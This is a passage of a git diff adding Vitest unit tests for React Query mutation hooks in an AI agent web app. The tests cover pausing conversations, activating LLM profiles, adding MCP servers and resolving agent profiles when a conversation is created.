+      promise: Promise.resolve<unknown>(undefined),
+    };
+
+    act(() => {
+      mutation.promise = result.current.mutateAsync({
+        conversationId: "conversation-42",
+      });
+    });
+
+    await waitFor(() => expect(cancelQueries).toHaveBeenCalledOnce());
+    expect(cancelQueries).toHaveBeenCalledWith({
+      queryKey: ["user", "conversations"],
+    });
+    expect(getQueryData).not.toHaveBeenCalled();
+    expect(pauseConversationMock).not.toHaveBeenCalled();
+
+    cancellation.resolve();
+    await act(async () => {
+      await expect(mutation.promise).resolves.toEqual({ success: true });
+    });
+
+    expect(getQueryData).toHaveBeenCalledOnce();
+    expect(getQueryData).toHaveBeenCalledWith(["user", "conversations"]);
+    expect(pauseConversationMock).toHaveBeenCalledOnce();
+    expect(pauseConversationMock).toHaveBeenCalledWith("conversation-42");
+    expect(cancelQueries.mock.invocationCallOrder[0]).toBeLessThan(
+      getQueryData.mock.invocationCallOrder[0]!,
+    );
+    expect(getQueryData.mock.invocationCallOrder[0]).toBeLessThan(
+      pauseConversationMock.mock.invocationCallOrder[0]!,
+    );
+    expect(invalidateQueries.mock.calls).toEqual(
+      expectedInvalidations("conversation-42"),
+    );
+  });
+
+  it("restores the exact conversation list snapshot when pausing fails", async () => {
+    const previousConversations = {
+      pages: [{ items: [{ id: "conversation-1", title: "Original" }] }],
+    };
+    const failure = new Error("pause failed");
+    const { queryClient, result, setQueryData } = setup({
+      previousConversations,
+    });
+    pauseConversationMock.mockRejectedValueOnce(failure);
+
+    await act(async () => {
+      await expect(
+        result.current.mutateAsync({ conversationId: "conversation-1" }),
+      ).rejects.toBe(failure);
+    });
+
+    expect(setQueryData).toHaveBeenCalledOnce();
+    expect(setQueryData).toHaveBeenCalledWith(
+      ["user", "conversations"],
+      previousConversations,
+    );
+    expect(queryClient.getQueryData(CONVERSATIONS_QUERY_KEY)).toBe(
+      previousConversations,
+    );
+  });
+
+  it("does not invent rollback data when no conversation list was cached", async () => {
+    const failure = new Error("pause failed without cache");
+    const { queryClient, result, setQueryData } = setup();
+    pauseConversationMock.mockRejectedValueOnce(failure);
+
+    await act(async () => {
+      await expect(
+        result.current.mutateAsync({ conversationId: "conversation-2" }),
+      ).rejects.toBe(failure);
+    });
+
+    expect(pauseConversationMock).toHaveBeenCalledWith("conversation-2");
+    expect(setQueryData).not.toHaveBeenCalled();
+    expect(queryClient.getQueryData(CONVERSATIONS_QUERY_KEY)).toBeUndefined();
+  });
+
+  it("handles a missing optimistic context without attempting rollback", async () => {
+    const { queryClient, result, setQueryData } = setup();
+
+    await act(async () => {
+      await result.current.mutateAsync({ conversationId: "conversation-3" });
+    });
+    vi.clearAllMocks();
+
+    const onError = queryClient.getMutationCache().getAll().at(-1)
+      ?.options.onError;
+
+    expect(onError).toBeTypeOf("function");
+    expect(() =>
+      onError?.(
+        new AxiosError("optimistic setup failed"),
+        { conversationId: "conversation-3" },
+        undefined,
+        {
+          client: queryClient,
+          meta: undefined,
+          mutationKey: undefined,
+        },
+      ),
+    ).not.toThrow();
+    expect(setQueryData).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-activate-llm-profile.test.tsx b/__tests__/hooks/mutation/use-activate-llm-profile.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..81837429548a265aea2ef676976d5fe85daf4265
--- /dev/null
+++ b/__tests__/hooks/mutation/use-activate-llm-profile.test.tsx
@@ -0,0 +1,111 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { useActivateLlmProfile } from "#/hooks/mutation/use-activate-llm-profile";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  LLM_PROFILES_QUERY_KEYS,
+  SETTINGS_QUERY_KEYS,
+} from "#/hooks/query/query-keys";
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  default: {
+    activateProfile: vi.fn(),
+  },
+}));
+
+describe("useActivateLlmProfile", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    SettingsService.invalidateCache();
+  });
+
+  it("calls activateProfile and invalidates all relevant caches on success", async () => {
+    const mockActivateProfile = vi.mocked(ProfilesService.activateProfile);
+    mockActivateProfile.mockResolvedValue({
+      name: "my-profile",
+      message: "Profile activated",
+      llm_applied: true,
+    });
+
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+
+    const invalidateQueriesSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useActivateLlmProfile(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    // Trigger the mutation
+    result.current.mutate("my-profile");
+
+    // Wait for the mutation to complete
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    // Verify activateProfile was called with the correct name
+    expect(mockActivateProfile).toHaveBeenCalledWith("my-profile");
+
+    // Verify all cache invalidations occur on success
+    expect(invalidateCacheSpy).toHaveBeenCalled();
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+
+    invalidateCacheSpy.mockRestore();
+    invalidateQueriesSpy.mockRestore();
+  });
+
+  it("does not invalidate cache on activation failure", async () => {
+    const mockActivateProfile = vi.mocked(ProfilesService.activateProfile);
+    mockActivateProfile.mockRejectedValue(new Error("Profile not found"));
+
+    // Create spy after beforeEach invalidation
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+
+    const { result } = renderHook(() => useActivateLlmProfile(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    // Trigger the mutation
+    result.current.mutate("nonexistent-profile");
+
+    // Wait for the mutation to fail
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    // invalidateCache should NOT have been called on failure
+    // (onSuccess is not called when mutation fails)
+    expect(invalidateCacheSpy).not.toHaveBeenCalled();
+
+    invalidateCacheSpy.mockRestore();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-add-mcp-server.test.ts b/__tests__/hooks/mutation/use-add-mcp-server.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2b81b1e62c1d095ebb38a1c9f1656f8a788d4725
--- /dev/null
+++ b/__tests__/hooks/mutation/use-add-mcp-server.test.ts
@@ -0,0 +1,107 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { useAddMcpServer } from "#/hooks/mutation/use-add-mcp-server";
+
+const useSettingsMock = vi.fn();
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => useSettingsMock(),
+}));
+
+const createWrapper = () => {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  return function Wrapper({ children }: { children: React.ReactNode }) {
+    return React.createElement(QueryClientProvider, { client }, children);
+  };
+};
+
+describe("useAddMcpServer", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    useSettingsMock.mockReturnValue({
+      data: {
+        mcp_config: {
+          github: {
+            transport: "http",
+            url: "https://github.example/mcp",
+            auth: { strategy: "bearer", value: "**********" },
+          },
+        },
+      },
+    });
+  });
+
+  it("adds only one named entry and leaves siblings out of the mutation", async () => {
+    const createSpy = vi
+      .spyOn(SettingsService, "createMcpServer")
+      .mockResolvedValue(true);
+    const fetchEncryptedSpy = vi.spyOn(SettingsService, "fetchSettingsFromApi");
+    const { result } = renderHook(() => useAddMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      id: "",
+      type: "shttp",
+      name: "docs",
+      url: "https://docs.example/mcp",
+    });
+
+    expect(createSpy).toHaveBeenCalledOnce();
+    expect(createSpy).toHaveBeenCalledWith("docs", {
+      transport: "http",
+      url: "https://docs.example/mcp",
+    });
+    expect(fetchEncryptedSpy).not.toHaveBeenCalled();
+  });
+
+  it("allocates a deterministic suffix without overwriting an existing key", async () => {
+    useSettingsMock.mockReturnValue({
+      data: {
+        mcp_config: {
+          slack: { transport: "stdio", command: "npx" },
+        },
+      },
+    });
+    const createSpy = vi
+      .spyOn(SettingsService, "createMcpServer")
+      .mockResolvedValue(true);
+    const { result } = renderHook(() => useAddMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      id: "",
+      type: "stdio",
+      name: "slack",
+      command: "npx",
+    });
+
+    expect(createSpy).toHaveBeenCalledWith("slack_1", {
+      transport: "stdio",
+      command: "npx",
+    });
+  });
+
+  it("fails instead of reporting a successful install before settings load", async () => {
+    useSettingsMock.mockReturnValue({ data: undefined });
+    const createSpy = vi.spyOn(SettingsService, "createMcpServer");
+    const { result } = renderHook(() => useAddMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await expect(
+      result.current.mutateAsync({
+        id: "",
+        type: "stdio",
+        name: "filesystem",
+        command: "npx",
+      }),
+    ).rejects.toThrow("MCP settings are still loading");
+    expect(createSpy).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-create-conversation.test.tsx b/__tests__/hooks/mutation/use-create-conversation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..4f0c13333af8aac08a5c4e21448e2d8c7803733d
--- /dev/null
+++ b/__tests__/hooks/mutation/use-create-conversation.test.tsx
@@ -0,0 +1,746 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useCreateConversation } from "#/hooks/mutation/use-create-conversation";
+import { SuggestedTask } from "#/utils/types";
+import {
+  getStoredConversationMetadata,
+  removeStoredConversationMetadata,
+} from "#/api/conversation-metadata-store";
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackConversationCreated: vi.fn(),
+  }),
+}));
+
+// The default→agent_settings downgrade is local-only (#1571 review); default
+// to local so the existing (pre-review) assertions below are unaffected, and
+// override per-test to exercise the cloud path.
+interface MockActiveBackend {
+  backend: { id: string; kind: "local" | "cloud" };
+  orgId: string | null;
+}
+const mockUseActiveBackend = vi.fn<() => MockActiveBackend>(() => ({
+  backend: { id: "local-1", kind: "local" },
+  orgId: null,
+}));
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => mockUseActiveBackend(),
+}));
+
+// The hook stamps the active LLM profile onto the conversation (#1082).
+// Mock it so the captured value is deterministic — the real hook fires a
+// query the global MSW layer would answer non-deterministically under test
+// timing.
+const { useLlmProfilesMock } = vi.hoisted(() => ({
+  useLlmProfilesMock: vi.fn(() => ({
+    data: { active_profile: null as string | null },
+  })),
+}));
+vi.mock("#/hooks/query/use-llm-profiles", () => ({
+  useLlmProfiles: () => useLlmProfilesMock(),
+}));
+
+// The hook warms the agent-profiles cache; the launch path itself awaits the
+// list via ensureQueryData (so it can't race a cold cache). Mock the hook to a
+// no-op and drive launches through the service mock below.
+vi.mock("#/hooks/query/use-agent-profiles", () => ({
+  useAgentProfiles: () => ({ data: undefined }),
+}));
+
+// The launch path resolves the active AgentProfile by awaiting
+// `AgentProfilesService.listProfiles` through the query cache (#3727).
+// Default: no active profile, so a plain create stays on the legacy path.
+const { listAgentProfilesMock } = vi.hoisted(() => ({
+  listAgentProfilesMock: vi.fn(),
+}));
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+  __esModule: true,
+  default: { listProfiles: listAgentProfilesMock },
+  WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default",
+}));
+listAgentProfilesMock.mockResolvedValue({
+  profiles: [],
+  active_agent_profile_id: null,
+});
+
+// LLM-profile service: real listProfiles calls (the llmProfileExists
+// validation — see use-create-conversation.ts) so it can be asserted per-test.
+const listLlmProfilesMock = vi.fn();
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  __esModule: true,
+  default: {
+    listProfiles: (...args: unknown[]) => listLlmProfilesMock(...args),
+  },
+}));
+listLlmProfilesMock.mockResolvedValue({ profiles: [], active_profile: null });
+
+describe("useCreateConversation", () => {
+  afterEach(() => {
+    // Restore the default (no active AgentProfile) so the overrides below
+    // don't leak into the other create-call assertions.
+    mockUseActiveBackend.mockReturnValue({
+      backend: { id: "local-1", kind: "local" as const },
+      orgId: null,
+    });
+    listAgentProfilesMock.mockReset();
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [],
+      active_agent_profile_id: null,
+    });
+    listLlmProfilesMock.mockReset();
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+    useLlmProfilesMock.mockReturnValue({ data: { active_profile: null } });
+    removeStoredConversationMetadata("conv-with-plugins");
+    removeStoredConversationMetadata("conv-ref-stamp");
+    removeStoredConversationMetadata("conv-dropdown-override");
+  });
+
+  it("passes suggested tasks to the V1 create conversation API", async () => {
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        created_by_user_id: null,
+        status: "READY",
+        detail: null,
+        app_conversation_id: null,
+        agent_server_url: "http://agent-server.local",
+        request: {
+          initial_message: {
+            role: "user",
+            content: [{ type: "text", text: "Please address the comments" }],
+          },
+          processors: [],
+          llm_model: null,
+          selected_repository: null,
+          selected_branch: null,
+          git_provider: "github",
+          suggested_task: null,
+          title: null,
+          trigger: null,
+          pr_number: [],
+          parent_conversation_id: null,
+          agent_type: "default",
+        },
+        created_at: new Date().toISOString(),
+        updated_at: new Date().toISOString(),
+      });
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    const suggestedTask: SuggestedTask = {
+      git_provider: "github",
+      issue_number: 42,
+      repo: "owner/repo",
+      title: "Resolve comments",
+      task_type: "UNRESOLVED_COMMENTS",
+    };
+
+    await result.current.mutateAsync({
+      query: "Please address the comments",
+      repository: {
+        name: "owner/repo",
+        gitProvider: "github",
+        branch: "main",
+      },
+      conversationInstructions: "Focus on review comments",
+      suggestedTask,
+    });
+
+    await waitFor(() => {
+      expect(createConversationSpy).toHaveBeenCalledWith({
+        initialUserMsg: "Please address the comments",
+        conversationInstructions: "Focus on review comments",
+        plugins: undefined,
+        metadata: {
+          selected_repository: "owner/repo",
+          selected_branch: "main",
+          git_provider: "github",
+        },
+        workingDirOverride: undefined,
+        workspaceMode: undefined,
+        parentConversationId: undefined,
+        agentType: undefined,
+      });
+    });
+  });
+
+  it("launches new local conversations from the active AgentProfile (#3727)", async () => {
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [],
+      active_agent_profile_id: "profile-abc",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    await waitFor(() => {
+      const call = createConversationSpy.mock.lastCall;
+      expect(call?.[0]?.sandboxId).toBeUndefined();
+      expect(call?.[0]?.agentProfileId).toBe("profile-abc");
+    });
+  });
+
+  it("awaits the profiles fetch so an early send still launches from the active profile", async () => {
+    // A send fired before the home profiles query resolves must block on the
+    // fetch, not fall through to the agent_settings path (#1571 review F2).
+    let resolveList: (value: unknown) => void = () => {};
+    listAgentProfilesMock.mockReturnValue(
+      new Promise((resolve) => {
+        resolveList = resolve;
+      }),
+    );
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+    // Spies persist across tests in this file; drop earlier calls so the
+    // not-yet-called assertion below sees only this launch.
+    createConversationSpy.mockClear();
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    const pending = result.current.mutateAsync({ query: "hello" });
+    expect(createConversationSpy).not.toHaveBeenCalled();
+
+    resolveList({ profiles: [], active_agent_profile_id: "profile-late" });
+    await pending;
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-late");
+  });
+
+  it("does not downgrade when the profiles fetch fails", async () => {
+    const profileError = new Error("profile endpoint unavailable");
+    listAgentProfilesMock.mockRejectedValue(profileError);
+    const createConversationSpy = vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    );
+    createConversationSpy.mockClear();
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await expect(result.current.mutateAsync({ query: "hello" })).rejects.toBe(
+      profileError,
+    );
+    expect(createConversationSpy).not.toHaveBeenCalled();
+  });
+
+  it("invalidates the conversation list and start-tasks queries on success", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue({
+      id: "task-id",
+      created_by_user_id: null,
+      status: "READY",
+      detail: null,
+      app_conversation_id: "conv-1",
+      agent_server_url: "http://agent-server.local",
+      request: {
+        initial_message: null,
+        processors: [],
+        llm_model: null,
+        selected_repository: null,
+        selected_branch: null,
+        git_provider: "github",
+        suggested_task: null,
+        title: null,
+        trigger: null,
+        pr_number: [],
+        parent_conversation_id: null,
+        agent_type: "default",
+      },
+      created_at: new Date().toISOString(),
+      updated_at: new Date().toISOString(),
+    });
+
+    const queryClient = new QueryClient();
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({});
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["start-tasks"],
+      });
+    });
+  });
+
+  it("persists explicitly-attached plugins (coordinates only) to conversation metadata at creation", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockResolvedValue({
+      id: "task-id",
+      created_by_user_id: null,
+      status: "READY",
+      detail: null,
+      app_conversation_id: "conv-with-plugins",
+      agent_server_url: "http://agent-server.local",
+      request: {
+        initial_message: null,
+        processors: [],
+        llm_model: null,
+        selected_repository: null,
+        selected_branch: null,
+        git_provider: "github",
+        suggested_task: null,
+        title: null,
+        trigger: null,
+        pr_number: [],
+        parent_conversation_id: null,
+        agent_type: "default",
+      },
+      created_at: new Date().toISOString(),
+      updated_at: new Date().toISOString(),
+    });
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({
+      plugins: [
+        {
+          source: "github:o/a",
+          ref: null,
+          repo_path: "plugins/a",
+          parameters: { token: "secret" },
+        },
+      ],
+    });
+
+    await waitFor(() =>
+      expect(
+        getStoredConversationMetadata("conv-with-plugins")?.plugins,
+      ).toEqual([{ source: "github:o/a", ref: null, repo_path: "plugins/a" }]),
+    );
+  });
+
+  it("launches the seeded `default` profile via agent_settings so canvas enrichments survive", async () => {
+    // The active profile IS the well-known default → it's the enriched baseline
+    // (mirrors agent_settings), not a deliberate profile pick, so the launch
+    // stays on the agent_settings path (no profile tail) even though its
+    // llm_profile_ref resolves. Keeps <RUNTIME_SERVICES> and project skills,
+    // which the profile-resolution path drops.
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-default",
+          name: "default",
+          agent_kind: "openhands",
+          revision: 1,
+          llm_profile_ref: "gpt",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-default",
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "gpt" }],
+      active_profile: "gpt",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBeUndefined();
+  });
+
+  it("keeps the profile path for an ACP `default` profile (agent_settings can't carry ACP config)", async () => {
+    // The default→agent_settings shortcut is OpenHands-only: activation is
+    // pointer-only, so global agent_settings is stale (still OpenHands) for an
+    // active ACP profile — routing it via agent_settings would launch the wrong
+    // agent. An ACP `default` must resolve server-side via agent_profile_id.
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-acp-default",
+          name: "default",
+          agent_kind: "acp",
+          revision: 1,
+          llm_profile_ref: null,
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-acp-default",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-acp-default");
+    expect(call?.[0]?.agentProfileKind).toBe("acp");
+  });
+
+  it("launches the seeded `default` profile from its resolved id on cloud (no agent_settings fallback exists there) (#1571)", async () => {
+    // The local-only downgrade exists to preserve canvas-only enrichments that
+    // only ride the agent_settings path; cloud has no such payload, so the
+    // seeded `default` must always launch via agent_profile_id there — a
+    // downgrade there would send agent_profile_id: null and the conversation
+    // would never get `launched_agent_profile` stamped.
+    mockUseActiveBackend.mockReturnValue({
+      backend: { id: "cloud-1", kind: "cloud" },
+      orgId: null,
+    });
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-default",
+          name: "default",
+          agent_kind: "openhands",
+          revision: 1,
+          llm_profile_ref: "gpt",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-default",
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "gpt" }],
+      active_profile: "gpt",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-default");
+  });
+
+  it("stamps the launched openhands profile's llm_profile_ref into conversation metadata (#1082)", async () => {
+    // A named (non-default) profile launches via the profile path when no
+    // dropdown selection exists (active_profile null — a differing selection
+    // would win the launch instead, #16539) and runs its own llm_profile_ref,
+    // so the switcher pill must name the ref, not the hook's stale cached
+    // active profile.
+    useLlmProfilesMock.mockReturnValue({
+      data: { active_profile: "standalone-active" },
+    });
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-custom",
+          name: "My Profile",
+          agent_kind: "openhands",
+          revision: 2,
+          llm_profile_ref: "claude",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-custom",
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "claude" }],
+      active_profile: null,
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-ref-stamp",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-custom");
+    await waitFor(() =>
+      expect(
+        getStoredConversationMetadata("conv-ref-stamp")?.active_profile,
+      ).toBe("claude"),
+    );
+  });
+
+  it("honors the home LLM dropdown selection over a named profile's pinned ref (#16539)", async () => {
+    // The home pill shows the account-wide active LLM profile, so when it
+    // differs from the active named profile's pinned llm_profile_ref the
+    // launch must run the selection: downgrade to the agent_settings path
+    // (which the dropdown activation syncs) and stamp the selected profile.
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-luna",
+          name: "openhands-luna",
+          agent_kind: "openhands",
+          revision: 1,
+          llm_profile_ref: "pinned-model",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-luna",
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "pinned-model" }, { name: "selected-model" }],
+      active_profile: "selected-model",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-dropdown-override",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBeUndefined();
+    await waitFor(() =>
+      expect(
+        getStoredConversationMetadata("conv-dropdown-override")?.active_profile,
+      ).toBe("selected-model"),
+    );
+  });
+
+  it("keeps the named profile path when the dropdown selection matches its pinned ref (#16539)", async () => {
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-luna",
+          name: "openhands-luna",
+          agent_kind: "openhands",
+          revision: 1,
+          llm_profile_ref: "pinned-model",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "profile-luna",
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "pinned-model" }],
+      active_profile: "pinned-model",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({ query: "hello" });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-luna");
+  });
+
+  it("keeps an explicitly-picked agent profile over the dropdown selection (#16539)", async () => {
+    // An explicit `agentProfileId` (the in-conversation profile picker) is a
+    // deliberate profile pick — its pinned ref stays authoritative even when
+    // the account-wide active LLM profile differs.
+    listAgentProfilesMock.mockResolvedValue({
+      profiles: [
+        {
+          id: "profile-luna",
+          name: "openhands-luna",
+          agent_kind: "openhands",
+          revision: 1,
+          llm_profile_ref: "pinned-model",
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: null,
+    });
+    listLlmProfilesMock.mockResolvedValue({
+      profiles: [{ name: "pinned-model" }, { name: "selected-model" }],
+      active_profile: "selected-model",
+    });
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-id",
+        app_conversation_id: "conv-1",
+        agent_server_url: "http://agent-server.local",
+      } as never);
+
+    const { result } = renderHook(() => useCreateConversation(), {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={new QueryClient()}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await result.current.mutateAsync({
+      query: "hello",
+      agentProfileId: "profile-luna",
+    });
+
+    const call = createConversationSpy.mock.lastCall;
+    expect(call?.[0]?.agentProfileId).toBe("profile-luna");
+  });
+
+  it("keeps the named profile path on cloud regardless of the active LLM profile (#16539)", async () => {
+    // The dropdown override is local-only, like the other downgrades: cloud
+    // has no agent_settings payload to fall back to.
+    mockUseActiveBackend.mockReturnValue({
